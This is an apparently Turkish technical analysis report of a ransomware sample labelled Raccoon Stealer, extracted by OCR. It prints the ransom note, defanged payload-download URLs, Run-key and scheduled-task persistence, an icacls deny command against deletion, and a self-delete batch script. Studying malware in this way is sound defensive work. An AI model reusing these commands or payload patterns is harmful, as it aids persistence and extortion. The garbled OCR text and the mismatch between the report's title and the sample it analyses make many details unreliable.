RACCOON STEALER

Teknik Analiz Raporu ‘
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Zararlinin Adr:

Raccoon

MDS5: 83A7D83F6B2A084CBD45AD061665E9DF

SHA-1: A5650BDC5845538463461C626CF39866F1635CAS8

SHA-256: 7dd793aab5547eb5523f7¢c9c0222b819995d7550603fa027854a63327b59b657
Dosya Turu: Exe

ik olarak 2019’da siber suc forumlarinda malware servis hizmeti reklamlari yaparak ortaya ¢cikmistir.
Raccoon ailesi gelistirdigi zararl yazilim hizmetini forumlarda satmaktadir. Zararl yazilimlarinin hedef noktasi
degerli kimlik bilgileri, kripto para clizdanlari ve sirket dosyalaridir. Bilgisayar korsanlarina satilan bu zararl
yazilimlarin ayni zamanda yeni 6zellik ekleme, hata dizeltme ve teknik destek gibi hizmetleri de saglayarak
portféylerini genisletmektedirler. Calinan bilgi ve belgelerin goérintilenebilecegi bir yonetim paneli de
mevcuttur. Verdikleri destek ve musteri memnuniyetlerinin yani sira agresif bir marketing anlayisi sergileyen
grup ayhk 25-200 dolar gibi ucuz bir fiyata satislarini gerceklestirmektedir.

Bu zararli tlrd oltalama, sémdrd veya farkh bir zararli yazilim ile custom packing islemine tabi tutulmus sekilde
sisteme enjekte edilmektedir.

Daha sonradan kullanici yetkilerini eline alarak zararli islemleri gerceklestirmektedir. Bu islemler sonucunda
isletim sistemi zararl tarafindan rehin alinmaktadir.
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ON IZLENIM

"

Isletim sisteminin zararli tarafindan rehin alinmasi sonrasinda olusturulan “_readme.txt” dosyasi icerisinde
verilerin kurtarilabilmesi icin gerekli sartlari bulundurmaktadir. Kullaniciya istenilen Ucretin 6denmesi
durumunda verilerin kurtarilabileceginden bahsedilmektedir. Gulvence saglamak amaciyla video linki
belirtilmistir. Uc glin icerisinde iletisime gecilmesi durumunda $490 aksi halde verilerin kurtarilmasi icin $980
istenmektedir. Bu metnin sonunda verilerin kurtarilabilmesi icin gerekli olan unique personal ID eklenmistir.

j _readme.txt - Mot Defteri EI@

Dosya Diazen Bigim  Gordndm  Yardim
ATTENTION!

Don’t worry, you can return all your files!

A1l your files 1ike pictures, databases, documents and other important are encrypted with
strongest encryption and unique key.

The only method of recovering files is to purchase decrypt tool and unigque key for you.
This 501¥tware will decrypt a?'l your encrypted files.

what guarantees you have?

you can send one of your encrypted file from your PC and we decrypt it for free.

But we can decrygt only 1 file for free. File must not contain valuable information.
You can get and look video overview decrypt tool:

https://we.tl/T-IMhsjauzQe

price of private key and decrypt software is $980.

Discount 50% available if you contact us first 72 hours, that's price for you is 3490.
Please note that you'll never restore your data without payment.

Check your e-mail "spam” or "Junk" folder if you don’t get answer more than 6 hours.

To_get this software you need write on our e-mail:
helpteam@mail.c

rReserve e-mail address to contact us:
helpmanager@airmail. cc

Your personal ID:
0299ewgfDd94zMASYQT4QGhpOoBgEWVMGUTVEKZWE7 0thxultl

Ransomware turindeki zararli, sifreledigi dosyalarin uzantilarini “. ehiz” olarak degistirmektedir.

.contact.ehiz
EHIZ Dosyas
67,0 KB
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f STATIK ANALIZ

IsDebuggerPresent() API'1 ile basit bir anti-debug teknigi uygulanmistir. Zararli, debug edildigini anlamasi
durumunda zararli faaliyetini sonlandirmaktadir.

pusht

pop [ebp+var_228]

MoV [ebp+var_2E0], 1eeelh

mov ecx, [ebp+|]

mov [ebp+var_228], ecx

lea edx, [ebp+l]

mov [ebp+var_21C], edx

lea eax, [ebp+f]

mov ecx, [eax-4]

mov [ebps+var_22C], ecx

mov edx, [ebptarg_4]

mov [ebp+var_338], edx

mov eax, [ebp+arg 8]

mov [ebp+var_334], eax

mow ecx, [ebp+f]

mow .

call esent

mov

push %] ; lpToplLevelExceptionFilter
call ds:SetUnhandledExceptionFilter
lea edx, [ebp+ExceptionInfo]

push edx ; ExceptionInfo
call ds:UnhandledExceptionFilter
mov [ebp+var_2E4], eax

cmp [ebp+var_2E4], @

jnz short loc_4084B1

Zararli incelendiginde kodlarin obfuscate edilmis oldugu ve analizin zorlastiriimasinin hedeflendigi
gozlenmektedir. Obfuscate edilmis kodlar deobfuscate edilerek analize devam edilmistir.

M=

push 0 ; flProtect

push 0 ; flAllocationType
push 0 ; dwSize

push 0 ; lpAddress

call ds:VirtualAlloc

lea eax, [ebp+ReturnedData]

push eax ; ReturnedData
push 0 ; 1pStringToFind
push 0 ; ulSectionId
push 0 ; 1pExtensionGuid
push 0 ; dwFlags

call ds:FindActCtxSectionStringl

push 0 ; wlLanguage

push 0 ; lpName

push 0 ; 1pType

push 0 ; hModule

call ds:FindResourceExA
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Ransomware zararlisinin kullandigi kritik seviyedeki API ‘lar sunlardir;

IsDebuggerPresent CreateFileW WriteFile ShellExecute
VirtualAlloc QueryPerformanceCounter | DebugBreak GetCommandLine
GetTickCount WriteConsolelnput LoadResource DeleteFileA
FindResourceExA CreateToolHelp32Snapshot | CreateThread CreateMutex
CreateEvent CreateProcessA CryptEncryptW GetAdaptersinfo
OpenServiceW RegSetValuk InternetOpenA InternetOpenUrlW

HttpQueryInfoW

WNetOpenEnumW

InternetReadFile

PathFindFileNameW

OpenServiceW
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DETAYLI ANALIZ

Zararl InternetOpenW API “ini kullanarak Microsoft Internet Explorer ile internet erisim fonksiyonlarina
ulasmakta ve bu APl ile asagidaki URL adresine istek gondermektedir.

h-t-t-p-s[:]//api[.]2ip.ua/geo.json

awininet. Internetopenur1A>

pusn eal

push esi

push dword ptr ss:[ebp+s])

| €1V <wininet.Internetopenur 1A

il

mov dword ptr ss:febp-Cj,eax

Xor eax,eax

imp wininet.772£6882

mov esi,dword ptr ss:|[febp-4]) L
jmp wininet.772£6876

us

7T72EEB94

ZIF 1
OF 0
CF 0

FF 1
SF 0
TF O

AF ©
DF 0
IF 1

Varsayilan (stdcall) x5 |5

Kilitsiz

esp] 00CCO004
] 00485650 "https://api.2ip.ua/geo.json"
0000000

] _00000000
[esp+10]

00000000

Istek génderilen URL adresinden IP, sunucu, konum, saat ve dil bilgileri alinmaktadir. InternetReadFile API‘ ile
okunarak bellekte tutulmaktadir.

(vip":n
"region":"Istanbul”,"region_ru
\uB43c\u0431\u@443\uB4a3b" , "city_ua

',"country_code":"TR", "country":

"Turkey","country_rus":"\u@422\u@443\uB440\u0446\u0438\uB44f" " country_ua": "\uB422\ud443\ub440\uB435\u0447\uBAAT \uB438\u043d\uBA30"
\u@421\u0442\u0430\u@43c\uOA31\uB443\u@43b", "region_ua" : "\u@421\uB442\uB430\u043c\uB4a31\uB443\u04a3b" , "city": "Istanbul", "city_rus"
:"\u0421\u0442\u0430\u043c\uB431\u0443\u04a3b" , "latitude” : "41.01384" , "longitude” : "28.94966" ,"zip_code": "37770","time_zone": "+03:00"}

"\u0421\u0442\u0430

Hafizaya alinan Ulke kodu ile whitelistte bulunan Ulke kodlari karsilastirilarak zararlinin belirlenen Ulkelerde
calismamasi icin 6nlem alindigl gézlemlenmektedir.

B3F8 FF

Cmp eax,FFFFFFFF

TR

eax: 3
~ OF84 E4000000 je abcunp.13ADICE o * |lmEEMasizle
30 e gﬂgn gax eax: "R EAX  OO2EE5G4 "TR"
BD45 AC lea eax,dword ptr ss:|Jebp-54] [ebp-54]:&"ctx E‘Eﬁ gggggggg
50 push eax eax: "TR" -
804D DC Tea ecx,dword ptr ss:|febp-24] EDX 00000002
ES 1A5F0000 €all abcunp.13B83010 EEE  002EESES
BC mov ebx,dword ptr scs:[ebp-44] ESP 00ZEED1D
xor edi,edi ESL D02EES34
GCFFFFFF 040044( mov dword ptr ss:|febp-24],abcunp.i4, count™, 14A0004:"RU EDI 00CCO004
FOFFFFFF 080044A( mov dword ptr ss:[ebp-30]),abcu h
4FFFFFF 0CO04A( mov dword ptr ss:lffebp-sc],abcul EIP 013ADOFE abcunp.013ADOFE
7BFFFFFF 10004A( mov dword ptr ss:[ebp-838]),abcu
7FCFFFFFF 14003A{ mov dword ptr ss:|[ebp-384],abcu 20028
80 15004A0 mov dword ptr ss: EELSGSPF 20 gg 85
84 1CO004A0D mov dword ptr ss: OF 0 SF 1 DF O
88 Z0004AD mov dword ptr ss:
C7? 8C Z4004A0 mov dword ptr ss: CF1 TFO IF1 T
C745 90 28004401 mov dword ptr ss:
ggg:BgDKFFFFFF 2?1; §3§éd:2;dc|EFr'edx' c Varsaylan (stdcall) v]s + [ xilitsiz
s: [edx],C = =
“ 75 04 jne abcunp.12AD160 [ MDOO0E)
33F6 xor esi,esi - DA
- me e 00000000
4 I 3 7069227E
Ter 31223A22
dword ptr [ebp-44]=[002EE5S74]=2

Ru

Rusya

BY Belarus

UA Ukrayna
AZ Azerbaycan
AM Ermenistan
TJ Tacikistan
KZ Kazakistan
KG Kirgizistan

Uz

Ozbekistan

SY

Suriye
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Eger listedeki dil kodlarindan birinin bulundugu sistemde calistiriimak istenirse zararli yazilim kendisini imha
etmek icin delself.bat dosyasini dinamik olarak olusturarak calistirmaktadir.

i) push eax eax: "@echo OTTLran 4 5
FFD7 caml edi EEY Gizle
68 00000001 push unpacked. 1000000 B EAX  OD19DEBD "gecho_off\r\n:try\rindel \"C:\\Users\\zorro\\Des
8D85 BOFIFFFF Tea eax,dword ptr ss:[Jebp-630f) B eiemea ckernel3z.1strcpys>
E. push eax sax:'escho offurin | goy  7rarapas kernel32.77472035
8D85 98FEFFFF Tea eax,dword ptr ss:[ebp-168] EDX  0000D0ZE
push eax eax: "@echo offy\rin EdF  OREEEE . N
FF15 3CC30901 €all dword ptr ds:[<&PathFileExistsA>] ESP 001350930 &"@echo off\r\n:try\rindel \"c:\\Users\\zorro\\De|
85C0 test eax,eax eax: "@echo offyrin EST 774513F0 <kernel3z.CloseHandlex>
~ 74 0D je unpacked.FE26EE EDI  7747CEA <kernel3z.lstrcatx>
8D85 98FEFFFF lea eax,dword ptr ss:[febp-16s]
50 ax _ ) . eax: "@echo of f\rn ETP ONFEEZAIE unnacked. 0OEE2KIE =
FF15 4CC10901 €31l dword ptr ds:[<&DeleteFileas] 1
g’; D SL“EE gj Varsayilan {stdcall) ']5 + [ wilitsiz
6A 02 push 2 1: [esp] 0013DEBO "@echo off\rin:itrywrindel \"C:i\\Users\\zorro\\Desk{
6A 00 push 0 [esp+4] 010D0000 unpacked.)10D0000
0 6A 03 push 2 [esp+8] 000D00D0OO
o m — 4: [esp+C] 0DDDOOOA
5: [esp+10] 00000000
edi=<kernel3z.lstrcat> (77472CEA)
.text:00FE269E unpacked. exe: $1269E #11A9E
= . ) “@echo offyr\n:try\rindel \"C:\\Users\\zorro\\Deskto
| upskimt | Wosam? | W4 pokim3 | giypskimd | Wy skims | @ tde 1 | -l erel Dediskenter | ' Yapi | T o rndeIm e sersY =arroi o .
|Adres | Hex ASCII -
0019DEBOD| 40 65 8|6F 20 6F 66|66 OD DA 3A[74 72 79 0D |Becho off..:try.
00159DECO | 0A &4 55 73 65|72 73 5C 7A|.del "C:\Users'z
0019DEDO | 6F 72 70|5C 59 45 4E|orro\Desktop\YEN
O015SDEED |45 4B 65 &4 2E &5 |TKL~1%unpacked.e
0019DEFO|78 65 73|74 20 22 43|xe"..if exist "C
0019DF0Q0| 3A 5C 72|6F 5C 44 65| :\Users‘zorro‘\De
0015DF10(73 6B ZIE 3 75 | Sktop\YENIKL~1\u
0019DF20| 6E 70 20 67 6F 74 |npacked.exe" got
0015DF30 | 6F 20 43 3A 5C 55 |0 try..del "Ci\U
0019DF40(73 65 70 70 44 61| sers\zorro\appoa
Q019DF50| 74 &1 70 5C 64 &5 |tasLocal\Temp'de
0015DF60 | 6C 73 00 00 00 00|1self.bat.......
00190F70(00 00 00 00 00 00.... c -
0015DF80 |00 00 00 00 00 00 =
00190F90| 00 00 00 00 00 00 00 0000 00 00 00 = G
Komut: WVarsaylan =

Dosya Ad:

delsef.bat

MDS5:

74e5eb167c09e1b0Ofedadb8948a25af4

Dosya Igerigi:

@echo off

try

del "C:\Users\Admin\Appdata\Local\c51208~1\UPDATE~1.EXE"

if exist "C:\Users\Admin\Appdata\Local\C51208~1\UPDATE~1.EXE" goto try
del "C:\Users\Admin\AppData\Local\Temp\delself.bat"

Eger bu Ulkelerden birinde calisirsa  {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} isimli mutex
olusturulmakta ve zararli kendisini sistemden silmektedir. Bu (lkelerden birinde calismiyor ise zararli

faaliyetlerine devam etmektedir.

unpacked. 00OFE2547
push unpacked.10D4420 ;
push ©
push 0O

Hcall dword ptr ds:[<&CreateMutexsx]
mov dword ptr ds:[10E3230],2ax
call dword ptr ds:[<&GetLastError=]
push dword ptr ds:[10E3230]
cmp eax,B7
jne unpacked.FE2535

1004420: " {FEB4BCCE-05C7 -4ADD-B67E-ATBAG

7323C1}"
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“Software\Microsoft\Windows\CurrentVersion\Run” registerina Syshelper Subkey’ini olusturularak asagidaki
key degeri ile kaydedilmektedir. Bu sayede sistem her yeniden baslatildiginda zararlinin tekrar ¢alistiriimasi
amaclanmaktadir.

C:\Users\%username%\AppData\Local\{CreatedUUID}\zararli.exe --Autostart

® || D13820ED SDSS OCEFFFFF 183 £ax,awora prr Ss:geop-1UF3g SO e e iy minted Pl c
o |o1382086 S0 push eax AR LT\CIN\USEFS: pws | EDX  002ED4C2 L"C:\\Users\ \AppData\\Local\\1a243228-eedc-+
o 0138208 sA 02 push 2 EBP  002EESB4
. push ESP  002EB440
ss M push abcunp. 149FESC 149FESC: L"SysHelpe: ESI  761183EE <kernel32.1strcatw>
. push dword ptr :febp-18§ EDI 76113272 <kernel32.1strcpyw>
FFJ.S 1CC04601 €am dword ptr d <6Regse(valuesxvu>'
FF75 ES push dword ptr s EIP 013820F3 abcunp.013820F3
FF15 00C04601 €all dword ptr ds:[. egClosexey>]
© 884D 08 mov ecx, d\wd ptr ss:fenp+s] EFLAGS 00200216
o 0138210 sscs ZF O PF1 AF 1
: abcunp. 1382115 ; . OF 0 SF O DF O
:‘ ,,,,,, aos; OCF7FFFF 1e‘: 3’ ,dword ptr ss:[ebp-sFi) FreipEea et
o|[ 01382110 EB 48110000 can abcunp. 1383260 =
< ol S ~r 2 [Varsayian (stocal) s [z [ kitsz
ofo138211 soss OCFFFFFF 1aa* ax,dword ptr ss:febp-r4) 1: [esp] 0000029C Til
. C pust «| 2: [esp+4] 0149FESC L"SysHelper™
>0 oush eax eax:L C:\\users A 3: esp‘a 00000000
< n » 4: [esp+C] 00000002
2x=002ED4CO L'\"C:\\USErs\\. _ J\\AppDAta\\Local\\1a243228-ee5C-4a12-8066-01Daas 840775\ \abCUNP. exe\" -—-Autostart” |5: [esp+10] D02ED4CO L™\"C:\\Users\\ ANAppDAEaNNLOCAIN\Aa243228 68
£:013B20E6 abcunp.exe:$120E6 #114E6
I

Subkey Degeri: | Syshelper

Data: C:\Users\%username%\AppData\Local\{CreatedUUID}\zararli.exe —Autostart

“Appdata/Local/” altinda yeni olusturulan UUID ile ayni isimde bir klasor olusturulmaktadir. Zararli olusturulan
yeni klasore kendisini kopyalamaktadir.

vle = GetE:TTand_ine;(j;
vll = ( PCW 'jEcTTand_ineTcé”gua(.;i, &phumArgs
Istrep (_. ingl, *wll);

Type = (E $0RD}PathFindFileNamek (S: i
HGetFolderPathw(®, 28, @, @, PathN
UuldL ea*e(&-.-.j,

o
[

()

-

m n||

1); |

ane);

stringuuidfe] =
UuidToStringh (8____ Stringluid};
/38 = 73
pszMore[4] =
LOWORD (pszMore[@]) =
if ( *stringUuid[@] j

w12 = weslen(StringUuid[@]);
else

v12 = 8;
sub D7s5Cle(stringUuid[@], vi2);
vd3 = 13
RpLS+'lng-'ee (StringUuid);

3 = (const WCHAR *)pszMore;

1f [ wig »=8 )

13 = ps=z _'-[El'],
Pa*h ppend (PathName
Createlirectoryh
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Zararl yazihmin silinmesinin engellenmesi icin “icacls.exe” kullanilarak asagidaki komut calistirilmaktadir.

icacls "C:\Users\%username%\AppData\Local\{UUID-name} " /deny *S-1-1-0:(OI)(Cl)(DE,DC)

Nesne Miras Alma Ol

Kap Devralma Cl

Silme Islemi DE

Alt Ogeyi Silme DC
Islemi

“/deny” komutu ile belirtilen kullanici erisim haklari (silme, diizenleme) engellemektedir.

. 6A 48 push 45 Al
. 64 00 push 0 lLERY. Siz1e 1
. €A00 pUsh EAX  005588F0 L"icacls \"C:\\Users\\ \\AppData\\|
® 6A 00 pusiy.o 4 i 2 EBX  DO09EA250
. 8085 OCCFFFFF lea eax,dword ptr ss:febp-30F4] R ~ ECX  7611843F kernel32.7611843F
. 1 50 push eax eax:L"icacls C:\\Users - >
- A push 0 EDX  FFFFFFFE
H—> Fm FF15S DCC13900 €A1] dword ptr ds:[<&CreateProcessws] EBP  00SSE9E4
» [002€2 85¢C0 |test eax,eax |eax:L"icacts \"C:\\Users\\ WAppoEty | ESP 0055B8CO
. v 75 08 jne abcunp.2E2182 ESI 761183EE <kernel32.lstrcatw>
- FF1S 00C13900 €&l dword ptr ds:[<&GetLastError>) EDI 76113272 <kernel32.1strcpyw>
. © EB 1F jmp abcunp.2€2101
. 8835 DOC13900 mov esi,dword ptr ds:[<awaitForsingleob) EIP  002E21A0 abcunp. 002E21A0
-o v EB 06 mp abcunp.2E21C0
. §D98 00000000 ea ebx,dword ptr ) EFLAGS 00200202
o 6A 01 push 1 | e e 4 -
. FFB5 68FFFFFF pue:\ dword ptr ss: - = - =
o LoneE FENE = LPRS_ac ) | Vvarsaydan (stdcall) v |s o) L] Kitsiz
B —— ———— ——————— 17 [esp] 00000000 [
uUsers\\ \\Appoata\\Local\\aid3es80-ed: 2: [esps4] 0055B8F0 L"icacls \"C:\\Users\\ \\AppData\|
3: Eesms; 00000000
4:
.TEXT:002E21A6 abcunp.exe:$121A6 #115A6 [ an Rl
e Zas Jois " 2) 00000000 | -
&% Dokum 1 I $9Dokim2 | ¥ Dokum3 | Q4 DSkimd | &% Dokims I % t2e 1 I I~ Yerel Degigkenier | 7 Yapu 005588F0 | L"1cacls \"C:\\Users\\. \\Appoata\\Local\\a1d3es80-e
Adres | Hex | unICODE |~ s
00[6C 00 73 icacls 00000000
00(73 65 C:\Users 00000048 |
( \A
A 00000000
ppoata\L 00000000
ocal\aid 00SSESFO
3een0-ed 00S5€94C [ 1;/"
b g 5| 00000004 |
2 00A1A4CS
00558970 | 31 1e35e1ds 00630063
00558980 | £2 0|b" /deny +| 00630061
|5 #s-1-2- R e 0073006C
005589A0 | 2 0:(01) (€ 00220020
00558980 | 3 1) (0€,0C 00340043 | abcunp. 00340043
005589C0 | 00 00(4C_BA S5 00 sl +| 0055005C
0055890054 57 AA 00|00 00 00 o ancenanss | X
0055890/ 00 00 00 00 =ad vl m »
nncceacalas oa = =

| 59e91ac9-e007-481f-9361-6f8a42eabcbd  18.06.2021 17:53 Dosya klasori

-

Klasar Erisimi Engellendi @

h

Bu eylemi gerceklestirmek icin izne gereksiniminiz var

Bu klasdrde degigiklik yapabilmeniz icin WIN-LIKDN79P80J\ size
izin vermelidir

L 59e91ac9-e007-4811-9361-6f8a4 2eabcbd
| Olusturma tarihi: 12.06.2021 23:26

Yeniden Denel l Iptal
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ve “--Task” parametresi ile kendisini kaydetmektedir.

1

Sistem yeniden baslatildiginda zararli kendisini aktif etmek igin gérev zamanlayicisina Time Trigger Task adi

« m

Genel | Tetikleyicier | Eylemier | Kogullar | Ayarlor | Gegmis (devre dig birakid)|
Ad: Time Trigger Task

Konum:

[ = ”Qcm'«l w]dm] ® Kesme Noktaan | ® Mafza | () vgnCagrian | %2584 | o) KomutDosyss | @) Semboter | <> Kaynsk | - [ S t5parcaciian | s | ¢t |
C78424 CC010000 0500¢mov dword pn s ,\ FPU Gizle = 7”*"*'77]
. €75424 £C010000 EQ3F .mo;.lo:rcd r J:L"C:\\users pesktop\\210
. FF15 vor p r d ]
EFE—————— ;scos l!es;bt zs - E:Sx: mﬁﬁ&ﬁ r
| ‘ ol 4 1 e unp Al |
e 33F6 ‘)J(or esi,esi | ESX 7EFDDO0O
. v E9 440F0000 | 3mp ;:f,u:ﬂ zesr:zz r
€786 CCO80000 000000 ds: [esi+ 0 k3
o e B 1 To Shoniop SEASRS - (® Time Trigger Task Ozellik (Yerel Bilgisayar) 2
. E8 1273FFFF cann m;‘ﬂﬂ 251‘10 r a2 »
0d | BB4‘24 30 mo or s esp - o= =
. 30 34323600 00 | cmp byte per doi[3632541.0 Genel | Tetikieyiciler| Elemier | Kogullar | Ayartar | Gegmis (devre digt buakolds)|
ol v orss 47010000 jne_abcunp. 2EASBE |
: ) OFSS T ‘§::(agla:;'n‘m Bir gorev olug 3 goreviniz olugacak eylemi belitmeniz gerekir.
d | 408 | test b1,
- v osss 80000000 | 3me ancuno 2EATDC
== Eylem Aynntilar N
Gocev Zamaniayics Program baglat C\Users\  \AppData\Local\ald3e880- ed49-44b1-9031-f51e35e1 dSb\a) 15
psya Eylem Goéronom Yardim
Gérev Zamanlayici (Yerel) =
% Gorev Zamanlayic: Kitapl ‘fd Ourum  Tetikleyiciler Bu gorevin gergeklestirecedi eylemi belitmeniz gerekir.
(@ GoogleUpdateTaskM... Hazr  Birden gok tetikleyici tanimlands
)
2 GoogleUpdateTaskM... Hazr  Her gUn 23:21 saatinde - Tetiklendikten sonra, 1 gan siresi B Eylem: {Progvam baglat M|
® Time Trigger Task Hazr  19.06.2021 tanhinde 20:50 saatinde - Tetiklendikten sonra, b Ayarlar
Program/komut dosyast: =

caf\al d3e880-edH9-44b1-9031-f5f1 35el dSb\opcUNP.exe | [ Gozat.. |
S )

--Task

7 Bagimsiz degiskenler ekle (istege bagh):

W Baglangsg (istege bagh):

B

Zararli sistemdeki diger kullanici klasorlerine erismek ve daha fazla veriyi sifrelemek amaciyla admin yetkisini

istemektedir.

898424 0010000 mov dword ptr ss tespdcoj eax [esp+1c0]:L"C:\\Users Desktop\\zararli.exe"
8D46 10 lea eax,dword ptr ds:[esi+ 10] [esi+10]:L"C:\\Users Deskto
8378 14 08 cmp dword ptr ds:[eax+14],8 [eax+14]:L"--Admin IsNotAutostart IsNotTask"
v 72 02 jb zararli. 35A684
8800 mov eax,dword ptr ds:[eax]
898424 €4010000 mov dwor-d ptr ss:fesp+1c4f],eax [esp+1c4]:L"--Admin IsNotAutoStart IsNotTask"
8D8424 AC010000 lea eax,dword ptr Ss:[espvl‘(
push eax
° C€78424 €C010000 0Smov dword ptr s:ffesp+1cC
° COIS—\G(E C€78424 BC010000 FQmov dword ptr ss:[esp+1BC ,zal arli.|[esp+1BC]:L"runas"”, 443FF0:L"runas"
Eg— ¢ NEH T FF15 20C34000 ~ cal d ptr ds:[<&shellExecuteEx
° ) 85C0 test eax,eax -
-9 v 74 1B je zararii. 35A6FE “¢' Kullanici Hesabi Denetimi
° F xor esi,esi
———e v E9 440F0000 jmp zarar1i. 358626 = . r n "
° €786 €C080000 000C mov dword ptr ds:[esi+8cc],0 ~__ Bilinmeyen bir yayimciya ait asagidaki programin bu
° ~ E9 FCFEFFFF jm ]zaraﬂ} 3;@;50 \"e bilai a3 desisiklik . kisti
° E8 1273FFFF call zararli a
et 884424 30 e gax S awor d,ptE ".[ei ! ligisayarda degisikiik yapmasina IZin vermei |stvyor
° 803D 34324500 00 |cmp byte ptr ds:[453234],0 ?
- OF85 A7010000 jne zararli.35A886 musunuz?
84c0 test al,al
~ OF85 C5000000 jne zarar1i.35A70C
test 5 :
. OF85 BD00000O jne | zararH 35A7DC Program ads: zararli.exe
S4_310 e Yayimcr: Bilinmiyor

dword ptr [0040(320 <zarar 1i.&shelTExecuteexw>]=<she1132. sheTTExecuteExw>

.Text:0035A6D9 zararli.exe:$1A6D9 #19AD9

Dosya kaynagr:  Bu bilgisayardaki sabit strtci

Evet

%% Dokim1 | % Dokim2 | % Dokum3 | &% Dokim4 | @4 Dokums

1x=1 Yerel Degiskenler

] [ Hayir

V) Ayrintilan goster

Adres Hex

00268700/ 00 00 00 00
00268710/ 01 F9 €7
00268720/ 5C 16 98 ’6

48 68 A6 0370D 00
Z4 01 76 00100 00
B8 F7 8C D938 BS

=]

00 00(01 00 00 00f....
00 00(30 01 76 00

7¢ 00|20 79 7C 00|\

Bu bildirimlerin ne zaman gérintilenecedini degistir

/’v
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Admin yetkisi veriimemesi durumunda zararl listedeki zararli dosyalari uzak sunucudan drop islemi
gerceklestirerek sistem Uzerindeki faaliyetlerine devam etmektedir.

. §83C97 mOv edT,dword pur ds:[edi-edx-31 =
o 883490 mov esi,dword ptr ds:[eaxsedx~4] esi: EPY.Gizle
N 33C0 xor eax,eax CORGDEY
3 4 EAX 0000009
. Caas <0 Mov9 EBX  005SEA00
. AS Pty ECX  O009FS9FO “http: //asvb. top/f'iles/penelop/updi
. 8049 00 lea ecx,dword ptr d ERX 00000000
. 8808 mov ecx,dword ptr £8P  00SSE9E4
- 880C91 mov ecx,dword ptr 0 ESP  00SSESDO <&)strcatws
- 803401 80 Xxor byte ptr ds: (e ¥ ESI  0030088F "
. 4 inc eax EDI  009FSA8?
o 0020¢ 3D 97000000 cmp_eax,
. 7C €F 57" abcunp. 20€7C0 £IP  0020EFO1 abcunp. 0020EFOL
> 42 |inc_edx \
© | 0020EFD2| BeF2 |mov est,edx jests™ = 2020024
. ] 8955 FC mov dword ptr ss: , edx EELAGS —_—
- 3855 08 cmp_edx,dword ptr p -
. ~ 7C A4 i abcunp 20EF80 vasavdm(swcd) x| S = Kiitsiz
- 5F pop edi esp+rd] O0A1A4CS i
: i e Y [es;»s1 00000000
< oD e fespsc] 003DFFEQ *(\v="
P i v | %: lesp+10] 00000000
5: [espes] 005SFECS

€51%0030088F ~
edx=0

. TexT:0020EFD2 abcunp.exe: SEFD2 #E302

L
[E56) 761183EE | kernel32.761183EE
00A1A4CS

$%% Dokim1 | % Dokom2 | W Dokim3 | §4Dokim4 | % DokimS | &9 tre I lx=| Yerel Dediskenler ] 2 Yapu

Adres | Hex |Ascix ] |~ oo I wam
009F89F0 |68 74 74 70 2F | Bttp: //asvb. Top, 00000000 |
009F8A00| 66 69 6C 65 5 /penelop/up 00SSFECH
009F8A10| 64 61 74 65 . un 002EA72F | return to abcunp.002EA72F from abcunp.D020EFS0
009F8A20( 20 66 74 74 00000010 % ;
009F8A30| 2F 66 69 €C|65 00000000
0000000A
009F8A60| 70 2 82222222
009FBA70 00AB6C48 &"http: //asvb.top/f1l1es/penelop/updatewinl. exeSrun hreg
+ | 00000000 -
= P m »

—

http[:]//asvb[.]top/files/penelop/updatewinl[.JexeSrun

http[:]//asvb[.]top/files/penelop/updatewin2[.JexeSrun

http[:]//asvb[.]top/files/penelop/updatewin[.JexeSrun

http[:]//asvb[.]top/files/penelop/3[.]exeSrun

http[:]//asvb[.]top/files/penelop/4[.]exeSrun

http[:]//asvb[.]top/files/penelop/5[.]exeSrun

Zararli; Asagidaki URL adresine istek gobndererek encrypt islemlerinde kullanilacak anahtar paylasimini
gerceklestirmektedir.

http[:]//asvb[.]top/nddddhsspen6/get[.]Jphp?pid=A467C934997B0264BCB4BB5DCF3211B6&first=true

¥
= 0;
= 0;
if ( strstr(&uffer, "{\"public_key\":\"") )
break;
1& (1
goto LABEL 81;
1f ( SHGetFolderPathA(@, 28, @, ©, th) >= 0 )
PathAppendA(pszPath, "bowsakkdestx.txt");
DeleteFileA( P ) H
}
}
= ("{\"public_key\":\"");
lstrcpyA(String2, &Buffer + Ys
1strcpyA(&Buffer, 2);
AF( (&Buffer) > @ )
while ( *(&Buf + 0) 1=34)
if ( (int)++ >= v3(&Buffer) )
goto LABEL_49;
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Anahtar paylasiminin gerceklesmesi durumunda elde edilen ortak anahtar daha sonradan kullaniimak Uzere
“bowsakkdestx.txt” isimli dosyaya kaydedilmektedir.

[=] bowsakkdests txt E4

1 {"public key":"-———— BEGIN&#160; PUBLIC&#160; KEY————— “\nMIIBIjANBgkghkiG9w0B
LQEFAROCAQSAMI IBCgKCAQEAUTGINPPglSZVisXb2410\\nHV9iXLDZdaY5GrMbMpOXLEYG]FS
®x0eRQJIcThgELACgKoUVMYrIB253VvYrMZgNud\\nSTIcHSt581MIsXcDxUS] T/ T8adg] jdmaGg
WYx6vBRK\N/BlwkjRIf3CgneGeTmhnHIS\ \nD3PS0mvYsubWV2TBI6tScy2CgyGLEFXFn9J7BTz
JOQTmMS5IM4qlZiE12d0lowFHG1A\nP93dW+FI%jLB%iajyKv4I15k80JCFpHSMGKFplcEBKGQL6
IN/Fk&l3usM+C05+aRWAANh+YtIbQplHrrmEZNNT fO8 SYyWKJICYLasdPEZUnnsibeyGkIL38x5Hn
tHIGaTUITKkVg\ \nZwIDAQAB\ \n————— END&#160; PUBLIC&#160;KEY————— YMan", "id": "MVR
PbSnFtySupDwbPHDki 61HhdaUByRerXrXB0O0O1"}

50 push eax eax:&L"http: //asvb. top/nddddhsspené/get. php?pid=A4t . | Fpu aizle
8D4C24 2C lea ecx,dword ptr ss:[fesp2C]
C68424 ADS90000 01 |mov byte ptr ss:[fesp+53adf,i EAX 1036260 &L"htrp: //asvb. top/nddddhsspene/
E8 FOTOFFFF €all abc.D75900 _ |
837C24 4C 08 cmp dword ptr ss:fesp+acl, s Il Ecx coooouoo
= - oc jb abc.D7ESF3 o -
[E1P e d FF7424 38 push dword ptr ss:[Jesp+35] [esp+38] : L "A467C934997B0264BCE4BB5DCF3211B6" EDX 00000840 (S |
i ES 97300000 €all <abc._j_ frees EEP  103GFEDS
i 83C4 04 add esp,4 ESP 1036A240
- 837C24 34 08 cmp dword ptr ss:[D ESI 0QDE73292 L"ttp://asvb. top/nddddhsspene/ge|
8D4424 20 lea eax,dword ptr [esp+20]:L"http: //asvb.top/nddddhsspene/get. php?pic EDI 0Q0E73270 abc.00E73270
0F434424 20 cmovae eax,dword p [esp+20]:L "http: //asvh.top/nddddhsspené/get. php?pic
50 push eax eax:&L"http: //asvb. top/nddddhsspens/get. php?pid=a4¢ EIP 00DTEBET abc.00OD7EBET
